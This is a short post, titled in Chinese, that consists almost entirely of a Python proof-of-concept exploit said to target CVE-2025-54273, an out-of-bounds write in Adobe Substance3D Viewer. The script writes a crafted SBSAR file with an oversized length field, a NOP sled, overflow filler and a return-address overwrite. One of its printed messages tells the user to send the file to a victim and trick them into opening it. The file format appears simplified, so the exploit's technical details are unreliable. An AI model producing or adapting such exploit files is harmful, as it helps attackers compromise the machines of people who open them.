CVE-2025-54273 Adobe Substance3D Viewer越界写入漏洞

# CVE-2025-54273 - Adobe Substance3D Viewer Out-of-Bounds Write PoC # This PoC demonstrates the concept of crafting a malicious 3D file # that triggers an out-of-bounds write vulnerability in Substance3D Viewer <= 0.25.2 # # WARNING: This is for educational and authorized testing purposes only. # Unauthorized use of this code to attack systems is illegal. import struct import sys def create_malicious_sbsar_file(output_path): """ Create a malicious SBSAR file that triggers OOB write in Substance3D Viewer. The vulnerability exists in the file parser when processing specific data structures without proper bounds checking. """ # SBSAR file header (simplified) header = b'\x53\x42\x53\x41\x52' # Magic bytes "SBSAR" header += struct.pack('<I', 0x01000000) # Version header += struct.pack('<I', 0) # Flags # Craft a malicious data section that triggers OOB write # The parser allocates a fixed-size buffer but reads user-controlled length malicious_section = b'' # Section header - declaring a small buffer size malicious_section += struct.pack('<I', 0x00000010) # Section type malicious_section += struct.pack('<I', 64) # Allocated buffer size (64 bytes) malicious_section += struct.pack('<I', 0xFFFFFFFF) # Declared data size (overflow!) # Payload - shellcode placeholder (NOP sled + return address overwrite) payload = b'\x90' * 64 # NOP sled within buffer payload += b'\x41\x41\x41\x41' * 64 # Overflow data to corrupt adjacent memory payload += struct.pack('<Q', 0x7FFE12345678) # Overwrite return address malicious_section += payload # Combine and write with open(output_path, 'wb') as f: f.write(header + malicious_section) print(f"[*] Malicious file created: {output_path}") print("[*] Send this file to a victim and trick them into opening it with Substance3D Viewer") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <output_file.sbsar>") sys.exit(1) create_malicious_sbsar_file(sys.argv[1])